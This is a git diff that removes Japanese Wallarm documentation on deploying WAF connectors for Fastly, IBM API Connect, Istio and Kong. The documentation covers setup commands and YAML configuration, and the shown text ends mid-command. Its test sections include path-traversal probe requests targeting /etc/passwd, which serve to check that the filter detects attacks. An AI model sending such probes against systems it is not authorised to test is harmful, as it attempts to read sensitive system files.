更新された`wallarm-api-security.tar.gz`のWallarmパッケージアーカイブを含むディレクトリへ移動し、次を実行します。 - - ``` - fastly compute deploy --service-id= --package=wallarm-api-security.tar.gz --token= - ``` - - * `` は、デプロイ済みのWallarmサービスのIDです。 - * `` は、デプロイに使用するFastlyのAPIトークンです。 -1. Fastly UIで新しいサービスバージョンを**Activate**します。 - -Computeサービスのアップグレードでは、特にメジャーバージョン更新時にWallarm Nodeのアップグレードが必要になる場合があります。セルフホストNodeのリリースノートとアップグレード手順は[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を参照するか、[Edgeコネクタのアップグレード手順](../security-edge/se-connector.md#upgrading-the-edge-node)を参照してください。非推奨を避け、将来のアップグレードを容易にするために、Nodeを定期的に更新することを推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/ibm-api-connect-for-wizard.md b/docs/latest-ja/installation/connectors/ibm-api-connect-for-wizard.md deleted file mode 100644 index 798dcc6ab2..0000000000 --- a/docs/latest-ja/installation/connectors/ibm-api-connect-for-wizard.md +++ /dev/null @@ -1,119 +0,0 @@ -# ウィザード向けIBM API Connect - -Wallarm Edge nodeをIBM DataPowerに[同期](../inline/overview.md)モードで接続すると、管理対象APIに到達する前のトラフィックを、どのリクエストもブロックすることなく検査できます。 - -接続を設定するには、次の手順に従ってください。 - -**1. IBM API ConnectのAPIにWallarmポリシーを適用します** - -1. プラットフォーム用に提供されたコードバンドルをダウンロードします。 -1. リクエスト検査ポリシーを登録します： - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. レスポンス検査ポリシーを登録します： - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-post.zip - ``` - -ほとんどの場合、`configured-gateway-service`の名前は`datapower-api-gateway`です。 - -**2. Wallarmの検査ステップをassemblyパイプラインに統合します** - -API仕様の`x-ibm-configuration.assembly.execute`セクション内で、トラフィックをWallarm Node経由にルーティングするため、次のステップを追加または更新します。 - -1. `invoke`ステップの前に、受信リクエストをWallarm Nodeへプロキシする`wallarm_pre`ステップを追加します。 -1. `invoke`ステップが次のように構成されていることを確認します： - - * `target-url`は`$(target-url)$(request.path)?$(request.query-string)`の形式にします。これにより、クエリパラメータを含め、リクエストが元のバックエンドのパスへプロキシされます。 - * `header-control`および`parameter-control`は、すべてのヘッダーとパラメータの通過を許可します。これにより、Wallarm Nodeがリクエスト全体を解析し、任意の箇所の攻撃を検知し、APIインベントリを正確に構築できます。 -1. `invoke`ステップの後に、レスポンスを検査のためにWallarm Nodeへプロキシする`wallarm_post`ステップを追加します。 - -```yaml hl_lines="8-22" -... -x-ibm-configuration: - properties: - target-url: - value: - ... - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: -... -``` - -**3. 更新したAPIを含む製品を公開します** - -トラフィックフローへの変更を適用するには、変更したAPIを含む製品を再公開します： - -``` -apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - -``` - -[詳細](ibm-api-connect.md) - - \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/ibm-api-connect.md b/docs/latest-ja/installation/connectors/ibm-api-connect.md deleted file mode 100644 index e6d3657341..0000000000 --- a/docs/latest-ja/installation/connectors/ibm-api-connect.md +++ /dev/null @@ -1,314 +0,0 @@ -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/waf-installation/gateways/ibm/test-attack-ui.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# IBM API Connect向けWallarmコネクタ - -[IBM API Connect](https://www.ibm.com/products/api-connect)は、APIの作成、保護、管理、監視のためのツールを含むフルライフサイクルのAPI管理ソリューションです。Wallarmはコネクタとして使用でき、IBM API Connectで管理されるAPIトラフィックを検査し、不正リクエストを軽減することでAPIを保護します。 - -WallarmをIBM API Connectと統合するには、外部にWallarm Nodeをデプロイし、検査のためにIBM API Gatewayがトラフィックをそのノードへプロキシするように構成します。 - -IBM API Connect向けWallarmコネクタは[インライン](../inline/overview.md)トラフィック解析のみをサポートします: - -![](../../images/waf-installation/gateways/ibm/ibm-traffic-flow-inline.png) - -!!! info "API仕様に一致するリクエスト" - IBM API Connectの動作により、定義されたOpenAPIのパスに一致するリクエストのみがWallarm Nodeによって検査されます。 - -## ユースケース - -このソリューションは、IBM API Connect経由で公開されるAPIの保護に推奨されます。 - -## 制限事項 - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認してください。 - -* IBM API ConnectおよびIBM DataPower Gatewayの知識があること。 -* 稼働中のIBM API Connect環境（ローカルまたはクラウド管理）。 -* IBM API Connectで公開済みのAPI。 -* コマンドライン操作用のIBM API Toolkit（`apic`または`apic-slim`）がインストールされていること。 -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス権。 -* 0.13.x系では0.13.3以降、または0.14.1以降のバージョンのWallarm Node。 - -## デプロイ - -### 1. Wallarm Nodeをデプロイする - -Wallarm NodeはWallarmプラットフォームの中核コンポーネントで、受信トラフィックを検査し、不正な挙動を検出し、脅威を軽減するように構成できます。 - -必要な管理レベルに応じて、Wallarmホスト型として、またはご自身のインフラストラクチャ内にデプロイできます。 - -!!! info "必須のWallarm Nodeバージョン" - IBM API Connectとの統合には、Wallarm Nodeの[バージョン](../../updating-migrating/native-node/node-artifact-versions.md)として0.13.x系では0.13.3以降、または0.14.1以降が必要です。旧バージョンはこのコネクタをサポートしません。 - -=== "Edge node" - コネクタ用のWallarmホスト型ノードをデプロイするには、[手順](../security-edge/se-connector.md)に従ってください。 -=== "Self-hosted node" - セルフホストノードをデプロイするためのアーティファクトを選択し、各手順に従ってください: - - * ベアメタルまたはVM上のLinux環境向けの[All-in-one installer](../native-node/all-in-one.md) - * コンテナ化デプロイを使用する環境向けの[Docker image](../native-node/docker-image.md) - - * Kubernetesを利用するインフラストラクチャ向けの[Helm chart](../native-node/helm-chart.md) - -### 2. Wallarmポリシーを取得し、IBM API ConnectのAPIに適用する - -Wallarmは、API ConnectのAPIに付与できるカスタムポリシーを提供します。これらのポリシーは、APIのリクエストおよびレスポンスをWallarm Node経由でプロキシし、検査と脅威検出を行います。 - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**へ進み、プラットフォーム用のcode bundleをダウンロードします。 - - セルフホストノードを実行している場合は、code bundle取得のためsales@wallarm.comまでご連絡ください。 -1. リクエスト検査ポリシーを登録します: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. レスポンス検査ポリシーを登録します: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-post.zip - ``` - -多くの場合、`configured-gateway-service`の名前は`datapower-api-gateway`です。 - -### 3. アセンブリパイプラインにWallarmの検査ステップを統合する - -API仕様の`x-ibm-configuration.assembly.execute`セクション内で、トラフィックをWallarm Node経由にルーティングするため、以下のステップを追加または更新します。 - -1. `invoke`ステップの前に、受信リクエストをWallarm Nodeへプロキシする`wallarm_pre`ステップを追加します。 -1. `invoke`ステップを次のように構成してください: - - * `target-url`は`$(target-url)$(request.path)?$(request.query-string)`という形式にします。これにより、元のバックエンドのパスとクエリパラメータを保ったままリクエストがプロキシされます。 - * `header-control`および`parameter-control`では、すべてのヘッダーとパラメータの通過を許可します。これにより、Wallarm Nodeがリクエスト全体を解析し、あらゆる部分の攻撃を検出し、APIインベントリを正確に構築できます。 -1. `invoke`ステップの後に、レスポンスをWallarm Nodeへプロキシして検査する`wallarm_post`ステップを追加します。 - -```yaml hl_lines="8-22" -... -x-ibm-configuration: - properties: - target-url: - value: - ... - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: -... -``` - -Wallarmポリシーでサポートされるプロパティ: - -| パラメータ | ステップ名 | 説明 | 必須? | -| --------- | --------- | ---- | ----- | -| `wallarmNodeAddress` | `wallarm_pre`, `wallarm_post` | Wallarm NodeインスタンスのURL。 | はい | -| `failSafeBlock` | `wallarm_pre`, `wallarm_post` | `true`（デフォルト）の場合、リクエスト/レスポンス転送中にWallarm Nodeが利用不可であるかエラーを返した際に、リクエストまたはレスポンスをブロックします。 | いいえ | - -### 4. 変更済みAPIを含むプロダクトを公開する - -トラフィックフローへの変更を適用するには、変更したAPIを含むプロダクトを再公開します: - -``` -apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - -``` - -## 例: Wallarmポリシーを適用したAPIとプロダクト - -この例は、アセンブリに`wallarm_pre`、`invoke`、`wallarm_post`の各ステップ（リクエスト/レスポンス検査）を追加した基本的なAPIとプロダクト構成を示します。これをデプロイして、Wallarm Node経由のトラフィック検査をテストできます。 - -* API仕様: - -```yaml -openapi: 3.0.3 -info: - title: Hello API - version: 1.0.0 - x-ibm-name: hello-api -servers: - - url: / -paths: - /hello: - get: - summary: Say Hello - responses: - '200': - description: OK - content: - text/plain: - schema: - type: string -x-ibm-configuration: - properties: - target-url: - value: https://httpbin.org - description: Where to proxy the filtered traffic - encoded: false - type: rest - phase: realized - enforced: true - testable: true - cors: - enabled: true - gateway: datapower-api-gateway - assembly: - execute: - - wallarm_pre: - version: 1.0.1 - title: wallarm_pre - wallarmNodeAddress: - - invoke: - title: invoke - version: 2.0.0 - verb: keep - target-url: $(target-url)$(request.path)?$(request.query-string) - persistent-connection: true - - wallarm_post: - version: 1.0.1 - title: wallarm_post - wallarmNodeAddress: - activity-log: - enabled: true - success-content: activity - error-content: payload -``` - -* プロダクト仕様: - -```yaml -product: 1.0.0 -info: - name: hello-product - title: Hello Product - version: 1.0.0 - description: A basic product exposing Hello API -apis: - hello-api: - $ref: ./api.yaml -plans: - default: - title: Default Plan - description: Open access plan - approval: false - rate-limit: - value: unlimited - apis: - hello-api: {} -visibility: - view: - enabled: true - type: public - subscribe: - enabled: true - type: authenticated -gateways: - - datapower-api-gateway -``` - -## テスト - -デプロイしたポリシーの機能をテストするには、次の手順に従います。 - -1. APIに対してテスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストを送信します: - - ``` - curl -k --request GET --url https://localhost:9444/ \ - --header 'X-IBM-Client-Id: ' \ - --header 'accept: /etc/passwd' - ``` - - IBM API Connectの動作により、定義されたOpenAPIのパスに一致するリクエストのみがWallarm Nodeによって検査されます。 - -1. Wallarm Consoleの[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)で**Attacks**セクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - Wallarm nodeのモードが[in blocking](../../admin-en/configure-wallarm-mode.md)で、トラフィックがインラインで流れている場合は、リクエストもブロックされます（スクリーンショットはこのケースを示しています）。 - -## ポリシーのアップグレード - -デプロイ済みのWallarmポリシーを[新しいバージョン](code-bundle-inventory.md#ibm-api-connect)へアップグレードするには: - -1. Wallarm Console → **Security Edge** → **Connectors** → **Download code bundle**から、IBM向けの更新済みWallarmポリシーをダウンロードします。 - - セルフホストノードを実行している場合は、更新済みのcode bundle取得のためsales@wallarm.comまでご連絡ください。 -1. `policies:create`コマンドで各ポリシーを再登録し、更新された`.zip`ファイルを指定します: - - ``` - apic policies:create \ - --scope \ - --server \ - --org \ - --catalog \ - --configured-gateway-service \ - //wallarm-pre.zip - ``` -1. `wallarm-post.zip`についても同様に実施します。 -1. API仕様内の`x-ibm-configuration.assembly.execute`で、ポリシーのバージョンを更新します: - - ```yaml - ... - x-ibm-configuration: - ... - assembly: - execute: - - wallarm_pre: - version: - ... - - wallarm_post: - version: - ... - ``` - - 両ポリシーは同一のバージョン番号を使用します。 -1. `products:publish`コマンドを使用して、関連するプロダクトを再公開します。 - - ``` - apic products:publish \ - --scope \ - --server \ - --org \ - --catalog \ - - ``` - -ポリシーのアップグレードでは、特にメジャーバージョンの更新時にWallarm Nodeのアップグレードが必要な場合があります。セルフホストNodeのリリースノートおよびアップグレード手順は[Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)をご参照ください。Wallarmホスト型の場合は[Edgeコネクタのアップグレード手順](../security-edge/se-connector.md#upgrading-the-edge-node)をご覧ください。非推奨を避け、将来のアップグレードを容易にするため、定期的なNodeの更新を推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/istio-inline.md b/docs/latest-ja/installation/connectors/istio-inline.md deleted file mode 100644 index 8c80aa77ec..0000000000 --- a/docs/latest-ja/installation/connectors/istio-inline.md +++ /dev/null @@ -1,109 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md -[helm-chart-native-node]: ../native-node/helm-chart.md -[custom-blocking-page]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[rate-limiting]: ../../user-guides/rules/rate-limiting.md -[multi-tenancy]: ../multi-tenant/overview.md - -# Istio Ingress向けWallarmフィルター - -WallarmはIstioが管理するAPIを保護するためのフィルターを提供し、トラフィックを[インライン](../inline/overview.md)または[アウトオブバンド](../oob/overview.md)で分析します。Wallarm nodeを外部にデプロイし、Envoyの設定にWallarm提供の構成を適用して、gRPCベースの外部処理フィルター経由でトラフィックをWallarm nodeにルーティングして分析します。 - -!!! info "OOBモード（ミラーリングされたトラフィック）" - [こちら](https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/http/ext_proc/v3/ext_proc.proto#envoy-v3-api-msg-extensions-filters-http-ext-proc-v3-externalprocessor)で説明されているEnvoyパラメータ`observability_mode`を設定することで、Istio向けWallarmフィルターを使用して[アウトオブバンド（OOB）](../oob/overview.md)でトラフィックを分析することもできます。 - -## ユースケース - -Envoyプロキシで動作するIstioが管理するAPIをリアルタイムに保護するのに最適な選択です。 - -## 制限事項 - ---8<-- "../include/waf/installation/connectors/native-node-limitations.md" - -## 要件 - -デプロイを進める前に、以下の要件を満たしていることを確認します。 - -* Istio技術の理解 -* APIトラフィックを管理するEnvoyプロキシを備えたIstio - -## デプロイ - -### 1. Wallarm nodeをデプロイします - -Wallarm nodeはWallarmプラットフォームの中核コンポーネントで、デプロイする必要があります。受信トラフィックを検査し、不正なアクティビティを検出し、脅威を軽減するように構成できます。 - -セルフホスト型nodeデプロイ用のアーティファクトを選択し、`envoy-external-filter`モード向けの手順に従います: - -* [All-in-oneインストーラー](../native-node/all-in-one.md): ベアメタルまたはVM上のLinuxインフラストラクチャ向け -* [Docker image](../native-node/docker-image.md): コンテナ化デプロイを使用する環境向け -* [AWS AMI](../native-node/aws-ami.md): AWSインフラストラクチャ向け -* [Helm chart](../native-node/helm-chart.md): Kubernetesを利用するインフラストラクチャ向け - -### 2. Envoyを構成してトラフィックをWallarm nodeへプロキシします - -1. `envoy.yaml`→`http_filters`セクションで、解析のためにリクエストとレスポンスを外部のWallarm Nodeへ送信する外部処理フィルターを構成します。そのために、次のテンプレートを使用します: - - ```yaml - ... - - http_filters: - - name: ext_proc - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.ext_proc.v3.ExternalProcessor - grpc_service: - envoy_grpc: - cluster_name: wallarm_cluster - processing_mode: - request_body_mode: STREAMED - response_body_mode: STREAMED - request_attributes: ["request.id", "request.time", "source.address"] - ``` -1. `envoy.yaml`→`clusters`セクションで、データをWallarm Nodeへ転送するために使用されるWallarmクラスターを構成します。そのために、次のテンプレートを使用します: - - ```yaml - clusters: - - ... - - name: wallarm_cluster - connect_timeout: 30s - load_assignment: - cluster_name: wallarm_cluster - endpoints: # Wallarm Nodeのエンドポイント - - lb_endpoints: - - endpoint: - address: - socket_address: - address: 127.0.0.1 - port_value: 5080 - http2_protocol_options: {} # http2を有効化するために設定が必要です - transport_socket: - name: envoy.transport_sockets.tls - typed_config: - "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext - common_tls_context: - validation_context: - trusted_ca: - filename: /path/to/node-ca.pem # Nodeインスタンスで使用される証明書を発行したCA - ``` - -!!! info "発生し得る500エラーの回避" - 外部フィルターに問題が発生した際の500エラーを回避するために、設定に[`failure_mode_allow`](https://www.envoyproxy.io/docs/envoy/latest/api-v3/extensions/filters/http/ext_proc/v3/ext_proc.proto)パラメータを追加できます。 - -## テスト - -デプロイしたフィルターの機能をテストするには、次の手順に従います。 - -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをIstio Gatewayに送信します: - - ``` - curl https:///etc/passwd - ``` -1. Wallarm Console→[US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)のAttacksセクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/istio.md b/docs/latest-ja/installation/connectors/istio.md deleted file mode 100644 index 5dcb76a2c6..0000000000 --- a/docs/latest-ja/installation/connectors/istio.md +++ /dev/null @@ -1,147 +0,0 @@ -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[custom-blocking-page-docs]: ../../admin-en/configuration-guides/configure-block-page-and-code.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[multitenancy-overview]: ../multi-tenant/overview.md -[applications-docs]: ../../user-guides/settings/applications.md -[available-filtration-modes]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes -[ui-filtration-mode]: ../../admin-en/configure-wallarm-mode.md#general-filtration-mode -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Istio Ingress向けWallarmコネクタ（アウトオブバンド） - -Wallarmは、Istioで管理されるAPIを[アウトオブバンド（OOB）](../oob/overview.md)で保護するコネクタを提供します。[Istio](https://istio.io/)のEnvoyプロキシの横にWallarmノードをデプロイすることで、コネクタは受信トラフィックをミラーリングし、トラフィックの流れを途切れさせずに非同期で解析へ送信します。 - -この連携は、Envoyプロキシ内にデプロイされるLuaプラグインに依存し、トラフィックのミラーリングとWallarmノードとの通信を処理します。 - -![Wallarmプラグインを使用したIstio](../../images/waf-installation/gateways/istio/traffic-flow-oob.png) - -## ユースケース - -リアルタイムのトラフィック解析が不要で、非同期解析で十分な場合にこのソリューションを推奨します。 - -Kubernetes上でEnvoyプロキシとともに動作するIstioが管理するAPIを保護する場合の最適な選択です。 - -## 制限事項 - -このセットアップでは、Wallarmの詳細な調整はWallarm ConsoleのUI経由でのみ可能です。ファイルベースの設定を必要とする一部のWallarm機能は、この実装ではサポートされません。例えば次の機能です： - -* [マルチテナンシー機能][multitenancy-overview] -* [アプリケーション設定][applications-docs] -* [カスタムブロックページおよびコードの設定][custom-blocking-page-docs] - -## 要件 - -デプロイを進めるには、次の要件を満たしていることを確認してください。 - -* KubernetesクラスターでAPIトラフィックを管理するEnvoyプロキシ付きのIstio -* パッケージマネージャー[Helm v3](https://helm.sh/) -* `https://us1.api.wallarm.com`（US Wallarm Cloud）または`https://api.wallarm.com`（EU Wallarm Cloud）へのアクセス -* Wallarm Helmチャートを追加するための`https://charts.wallarm.com`へのアクセス -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセス -* 攻撃検知ルールの更新をダウンロードするため、また[許可リスト、拒否リスト、グレーリスト](../../user-guides/ip-lists/overview.md)に登録した国、地域、またはデータセンターの正確なIPを取得するため、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleへの**Administrator**アクセス - -## デプロイ - -IstioとEnvoyプロキシが管理するAPIを保護するには、次の手順に従ってください。 - -1. KubernetesクラスターにWallarmフィルタリングノードのサービスをデプロイします。 -1. IstioのEnvoyプロキシを構成してトラフィックをミラーリングし、アウトオブバンド解析のためにWallarmノードへ送信します。 - -### 1. Wallarm Native Nodeをデプロイする - -WallarmノードをKubernetesクラスター内の独立したサービスとしてデプロイするには、[手順](../native-node/helm-chart.md)に従ってください。 - -### 2. Envoyを構成してトラフィックをWallarmノードへミラーリングする - -1. Istio用のWallarm Luaプラグインコードを入手するため、[support@wallarm.com](mailto:support@wallarm.com)に連絡してください。サポートチームから提供されるファイル名は、以下の手順で使用します。 -1. Luaスクリプトを使用してトラフィックをWallarmノードへミラーリングするため、Envoyのフィルターおよびクラスタ設定を適用します： - - ``` - kubectl apply -f wallarm-envoy-gw-http-filter.yaml - kubectl apply -f wallarm-envoy-cluster-svc-endpoint.yaml - ``` -1. Istio Ingressコントローラのネームスペース内にWallarmコネクタとそのLua依存関係をマウントするため、ConfigMapを作成します： - - ``` - kubectl -n apply -f wallarm-cm-lua-mpack-lib.yaml - kubectl -n apply -f wallarm-cm-lua-rrasync.yaml - ``` -1. ConfigMapをマウントするには、Istio Ingress Gatewayのデプロイメントを更新します。Istioの管理方法（Helm、IstioOperator、カスタムデプロイメント）に応じて、適切に変更を適用してください。 - - 例えば、IstioをIstioOperatorでインストールした場合は、`IstioOperator`リソースを更新してConfigMapをマウントできます： - - ```yaml - apiVersion: install.istio.io/v1alpha1 - kind: IstioOperator - spec: - components: - ingressGateways: - - name: istio-ingressgateway - enabled: true - k8s: - volumes: - - name: lua-mpack - configMap: - name: lua-msgpack-lib - - name: lua-rrasync - configMap: - name: rr-async-packed - volumeMounts: - - name: lua-mpack - mountPath: /usr/local/share/lua/5.1/msgpack - container: istio-proxy - - name: lua-rrasync - mountPath: /usr/local/share/lua/5.1/rrasync - container: istio-proxy - ``` - - ``` - kubectl apply -f istio-operator.yaml - ``` - -## テスト - -デプロイしたコネクタの動作をテストするには、次の手順に従ってください。 - -1. WallarmのPodが起動して稼働していることを確認します： - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node`はWallarmノードのサービスがデプロイされているネームスペースです。 - - 各Podのステータスは**STATUS: Running**または**READY: N/N**である必要があります。例： - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. テスト用の[パストラバーサル][ptrav-attack-docs]攻撃を含むリクエストをIstio Gatewayに送信します： - - ``` - curl https:///etc/passwd - ``` -1. [US Cloud](https://us1.my.wallarm.com/attacks)または[EU Cloud](https://my.wallarm.com/attacks)のWallarm Console → Attacksセクションを開き、攻撃が一覧に表示されていることを確認します。 - - ![インターフェイスのAttacks][attacks-in-ui-image] - - このコネクタは[アウトオブバンド](../oob/overview.md)モードで動作し、悪意のあるリクエストをブロックしないため、Wallarmノードは攻撃をブロックせずに登録します。 -1. 必要に応じて、別のコンソールウィンドウでWallarmのログを監視します： - - ``` - kubectl -n gonode logs native-processing-7c487bbdc6-4j6mz --tail 100 -f - ``` - -## Wallarm Luaプラグインのアップグレード - -デプロイ済みのWallarm Luaプラグインを[新しいバージョン](code-bundle-inventory.md#istio)にアップグレードするには： - -1. Istio Ingress用の更新済みWallarm Luaプラグインコードを入手するため、support@wallarm.comに連絡してください。 -1. [ステップ2](#2-configure-envoy-to-mirror-traffic-to-the-wallarm-node)に記載のとおりに更新プラグインをデプロイします。 - -プラグインのアップグレードには、特にメジャーバージョン更新時に、Wallarmノードのアップグレードが必要な場合があります。リリースの更新情報とアップグレード手順については、[Wallarm Native Nodeの変更履歴](../../updating-migrating/native-node/node-artifact-versions.md)を参照してください。将来のアップグレードを容易にし非推奨を回避するため、ノードの定期的な更新を推奨します。 \ No newline at end of file diff --git a/docs/latest-ja/installation/connectors/kong-api-gateway.md b/docs/latest-ja/installation/connectors/kong-api-gateway.md deleted file mode 100644 index 00dad7611a..0000000000 --- a/docs/latest-ja/installation/connectors/kong-api-gateway.md +++ /dev/null @@ -1,145 +0,0 @@ -[self-hosted-connector-node-helm-conf]: ../native-node/helm-chart-conf.md - -# Kong Ingress Controller向けWallarmコネクタ - -[Kong Ingress Controller](https://docs.konghq.com/kubernetes-ingress-controller/latest/)が管理するAPIを保護するために、WallarmはKubernetes環境へシームレスに統合できるコネクタを提供します。Wallarmフィルタリングノードをデプロイし、カスタムLuaプラグインでKongに接続すると、受信トラフィックがリアルタイムで解析され、サービスに到達する前にWallarmが悪意のあるリクエストを軽減できます。 - -Kong Ingress Controller向けWallarmコネクタがサポートするモードは[インライン](../inline/overview.md)のみです。 - -![Wallarmプラグインを使用したKong](../../images/waf-installation/gateways/kong/traffic-flow-inline.png) - -## ユースケース - -このソリューションは、Kong API Gatewayを実行するKong Ingress Controllerが管理するAPIの保護に推奨される構成です。 - -## 制限事項 - -このセットアップでは、Wallarmの詳細な調整はWallarm ConsoleのUI経由でのみ可能です。ファイルベースの設定を必要とする一部のWallarm機能は本実装ではサポートされません。例： - -* [マルチテナンシー機能][multitenancy-overview] -* [アプリケーション設定][applications-docs] -* [カスタムブロッキングページとコード設定][custom-blocking-page-docs] - -## 要件 - -デプロイを進める前に、次の要件を満たしていることを確認してください。 - -* Kong Ingress Controllerがデプロイされ、KubernetesクラスターでAPIトラフィックを管理していること -* [Helm v3](https://helm.sh/)パッケージマネージャー -* `https://us1.api.wallarm.com`（US Wallarm Cloud）または`https://api.wallarm.com`（EU Wallarm Cloud）へのアクセス -* Wallarm Helmチャートを追加するための`https://charts.wallarm.com`へのアクセス -* Docker Hub上のWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセス -* 攻撃検知ルールの更新をダウンロードし、さらに[許可リスト、拒否リスト、グレーリスト](../../user-guides/ip-lists/overview.md)に登録した国・地域・データセンターの正確なIPを取得するために、以下のIPアドレスへアクセスできること - - --8<-- "../include/wallarm-cloud-ips.md" -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleへの**Administrator**アクセス -* Nodeインスタンスのドメインには信頼できるSSL/TLS証明書が必要です。自己署名証明書はサポートされていません。 - -## デプロイ - -Kong Ingress Controllerが管理するAPIを保護するには、次の手順に従ってください。 - -1. WallarmフィルタリングノードをKubernetesクラスターにデプロイします。 -1. Kong Ingress ControllerからWallarmフィルタリングノードへ受信トラフィックをルーティングして解析させるため、Wallarm Luaプラグインを入手してデプロイします。 - -### 1. Wallarm Native Nodeをデプロイする - -WallarmノードをKubernetesクラスター内の独立したサービスとしてデプロイするには、[手順](../native-node/helm-chart.md)に従ってください。 - -### 2. Wallarm Luaプラグインを入手してデプロイする - -1. Kong Ingress Controller用のWallarm Luaプラグインのコードを入手するため、[support@wallarm.com](mailto:support@wallarm.com)へご連絡ください。 -1. プラグインコードでConfigMapを作成します： - - ``` - kubectl apply -f wallarm-kong-lua.yaml -n - ``` - - ``はKong Ingress ControllerがデプロイされているNamespaceです。 -1. Wallarm Luaプラグインを読み込むように、Kong Ingress Controllerの`values.yaml`を更新します： - - ```yaml - gateway: - plugins: - configMaps: - - name: kong-lua - pluginName: kong-lua - ``` -1. Kong Ingress Controllerを更新します： - - ``` - helm upgrade --install kong/ingress -n --values values.yaml - ``` -1. KongClusterPluginリソースを作成し、WallarmノードのServiceアドレスを指定して、Wallarm Luaプラグインを有効化します： - - ```yaml - echo ' - apiVersion: configuration.konghq.com/v1 - kind: KongClusterPlugin - metadata: - name: kong-lua - annotations: - kubernetes.io/ingress.class: kong - config: - wallarm_node_address: "http://native-processing.wallarm-node.svc.cluster.local:5000" - plugin: kong-lua - ' | kubectl apply -f - - ``` - - `wallarm-node`はWallarmノードのServiceがデプロイされているNamespaceです。 -1. 対象サービスでプラグインを有効化するため、IngressまたはGateway APIのルートに次のアノテーションを追加します： - - ``` - konghq.com/plugins: kong-lua - kubernetes.io/ingress.class: kong - ``` - -## テスト - -デプロイしたコネクタの動作をテストするには、次の手順に従ってください。 - -1. WallarmのPodが起動していることを確認します： - - ``` - kubectl -n wallarm-node get pods - ``` - - `wallarm-node`はWallarmノードのServiceがデプロイされているNamespaceです。 - - 各Podのステータスは「STATUS: Running」または「READY: N/N」になっている必要があります。例： - - ``` - NAME READY STATUS RESTARTS AGE - native-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - native-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Kong GatewayのIPを取得します（通常はLoadBalancer Serviceとして構成されています）： - - ``` - export 